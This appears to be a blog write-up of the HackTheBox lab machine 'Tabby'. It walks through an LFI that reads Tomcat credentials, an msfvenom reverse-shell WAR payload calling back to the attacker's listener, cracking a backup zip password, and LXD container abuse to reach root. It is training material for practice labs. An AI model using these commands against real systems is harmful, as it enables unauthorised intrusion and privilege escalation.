Tabby just retired on HackTheBox. It’s an easy difficulty Linux box. While rated easy the user part was about Tomcat and the root part about LXD, two softwares I had never used before this box so it gave me a little of trouble at first but I learned a lot of neat tricks and a better understanding of how those two tools works and vulnerabilities that can arise from them.
In the end it’s a very well designed box with a lot of real life scenarios that I enjoyed working with.
Tl;Dr: To get the user flag you first had to find an Local File Inclusion vulnerability in the main application. Using this LFI you could retrieve the users credentials of the Tomcat instance running on port 8080. With this account you can access Tomcat Manager Deploy feature and upload a malicious
.war file to open a reverse shell. Once on the box as
tomcat user you stumble across a password-protected zip file. Cracking the password gives you the actual password of
ash user, allowing you to pivot to his account and retrieve the user flag.
To get the root flag you have to leverage
ash user privilege to use LXD API in order to mount the host’s full
root filesystem into a container with elevated privileges and from inside the container, read the root flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
[[email protected] ~]$ echo "10.10.10.194 tabby.htb" >> /etc/hosts
and let’s start!
Let’s start with the classic
nmap scan to see which ports are open on the box:
[[email protected] ~]$ nmap -sV -sT -sC tabby.htb
We have a web server on port 80 running Apache, another web server on port 8080 running Apache Tomcat and finally the SSH port 22 open.
Opening http://tabby.htb display a following page:
From there we notice an interesting statement:
We have recently upgraded several services. Our servers are now more secure than ever.
Read our statement on recovering from the data breach
The statement page redirect to a new hostname:
http://megahosting.htb. Let’s add it to our host file before continuing:
[[email protected] ~]$ echo "10.10.10.194 megahosting.htb" >> /etc/hosts
Opening the “recovering from data breach” statement doesn’t return any useful information:
We apologise to all our customers for the previous data breach.
We have changed the site to remove this tool, and have invested heavily in more secure servers
We don’t know what tool they are talking about and since it’s been removed we won’t be able to exploit it either. Yet this page got one interesting part, its URL:
file parameter it looks like the page fetch a file named
statement and displays its content. Looks like a perfect scenario for Local File Inclusion.
Let’s try to exploit LFI to access the classical
[[email protected] ~]$ curl "megahosting.htb/news.php?file=../etc/passwd"
Bingo, we just confirmed we can do LFI. Now what ? If we can find any sensible file on the server we should be able to read its source code.
gobuster to see if any interesting files can be found:
[[email protected] ~]$ gobuster dir -u "http://tabby.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php,txt
Nothing interesting here, except the
files folder but we don’t have permission to access it. Let’s move on.
At this point I didn’t get any interesting results. So I started to dig a bit into the Tomcat instance running on port 8080.
http://tabby.htb:8080 returns the defaults Tomcat homepage:
That was the first time for me using Tomcat so I was surprised to get so much informations on the default homepage, which is super useful for us. Amongst the documentation we learn that the file
tomcat-users.xml contains a list of users and their respective permission:
For security reasons, using the manager webapp is restricted to users with role “manager-gui”. The host-manager webapp is restricted to users with role “admin-gui”. Users are defined in
Looks exactly what we need, especially since we found an LFI earlier. Let’s grab this file to see if we can gather juicy accounts.
The documentation state that the user file is located at
/etc/tomcat9/tomcat-users.xml, let’s get it using LFI:
[[email protected] ~]$ curl "http://megahosting.htb/news.php?file=../../../../etc/tomcat9/tomcat-users.xml" -I
Bummer! No results…
Maybe Tomcat got installed in a different location? We know the server is running
Ubuntu so let’s check the files location of the default
tomcat9 on Ubuntu. The documentation list the following files:
We missed the full path of the file, let’s try again with the correct path for Ubuntu:
[[email protected] ~]$ curl "http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml"
Bingo! We got credentials for
tomcat user which have
Reading through the documentation we find an interesting thing about
manager-script role. It allows us to deploy custom packages in the format of WAR files:
There is a tool called the Client Deployer, which can be used from a command line and provides additional functionality such as compiling and validating web applications as well as packaging web application into web application resource (WAR) files.
Basically a WAR package is a container for JSP and various others file that constitute a web application.
Well since we have permission to deploy apps, maybe we can create a WAR package containing a JSP webshell?
After gathering a bit more informations about Tomcat we understand that a
.war packages is a web application directory hierarchy in ZIP format.
We can use
msfvenom to easily generate a malicious
war package and verify it’s structure:
[[email protected] ~]$ msfvenom -p java/shell_reverse_tcp lhost=10.10.10.10 lport=8585 -f war -o hg8.war
[[email protected] ~]$ unzip hg8.war
We now have our package ready. Let’s open our
[[email protected] ~]$ nc -l -vv -p 8585
And deploy the package using the
[[email protected] ~]$ curl -u 'tomcat:$3cureP4s5w0rd123!' -T hg8.war "http://megahosting.htb:8080/manager/text/deploy?path=/hg8.war"
As soon as we open the page, a new connection appear on our listener:
[[email protected] ~]$ curl http://megahosting.htb:8080/hg8.war
[[email protected] ~]$ nc -l -vv -p 8585
Alright we now have shell as
tomcat. Looking at the
/home/ directory we see that the user flag is in
Let’s looks around to see if we can find any way to pivot to
ash user. First thing first I checked what’s inside the
files folder we found at the beginning:
[email protected]:/$ ls /var/www/html/files
This backup archive looks promising. Maybe we can find juicy files in it ?
[[email protected] ~]$ wget http://tabby.htb/files/16162020_backup.zip
[[email protected]~]$ unzip 16162020_backup.zip
Bummer it’s encrypted… Maybe we can bruteforce the password. I will use
John as usual:
[[email protected] ~]$ zip2john 16162020_backup.zip > zip.hashes
[[email protected] ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hashes
Bingo! We got the password, let’s now unzip the archive:
[[email protected] ~]$ unzip 16162020_backup.zip
And well… We got nothing interesting at all in this archive. That’s disappointing but what else can we try ?
ash reused his password for encrypting the archive ?
Let’s try to use
[email protected] to connect to his account:
[[email protected] ~]$ ssh [email protected]
No luck… Using
su - then?
Let’s add our own SSH key to
authorized_keys file in order to get a more stable shell:
And login again:
[[email protected] ~]$ ssh -i id_rsa_htb [email protected]
While doing our usual recon we quickly notice that
ash belongs to a few uncommon group:
[email protected]:/$ id
One particularly interesting is the
LXD is a system container manager build on top of LXC (Linux Containers) that is currently supported by Canonical. The goal of LXD is to provide an experience similar to a virtual machine but through containerization rather than hardware virtualization. Compared to Docker for delivering applications, LXD offers nearly full operating-system functionality with additional features such as snapshots, live migrations, and storage management.
Doesn’t this remind you a lot of Docker? And Docker have a few interesting way to escalate privileges to root. Probably something similar exist for LXD ? Let’s dig a bit.
After a bit of Google search we stumble upon an interesting article: “Linux Privilege Escalation via LXD & Hijacked UNIX Socket Credentials“.
This idea is to build an LXD container and use the LXD API to mount the host’s root filesystem into this container in order to give our low-privilege
ash user root access to the host filesystem.
Let’s see how it’s done now.
First let’s init LXD if it’s not already done:
[email protected]:/$ lxd init
Then check if images are already present on the system:
[email protected]:/tmp$ lxc image list
No luck we don’t have any image. We will need to build our own first. Let’s head back to our own machine to do so. I will use the following script to create an basic Alpine container: LXD Alpine Builder.
[[email protected] ~]$ git clone https://github.com/saghul/lxd-alpine-builder.git
Alright now we upload our newly built image to the server:
[[email protected] ~]$ scp -i id_rsa_htb alpine-v3.12-x86_64-20200624_1903.tar.gz [email protected]:/tmp/
We can import it:
[email protected]:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200624_1903.tar.gz --alias hg8
[email protected]:/tmp$ lxc image list
Let’s now assign it security privileges and mount the full disk under
[email protected]:/tmp$ lxc init hg8 ignite -c security.privileged=true
Finally let’s get inside the container and navigate to
/mnt/root see all the resources from our host machine.
[email protected]:/tmp$ lxc exec ignite /bin/sh
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)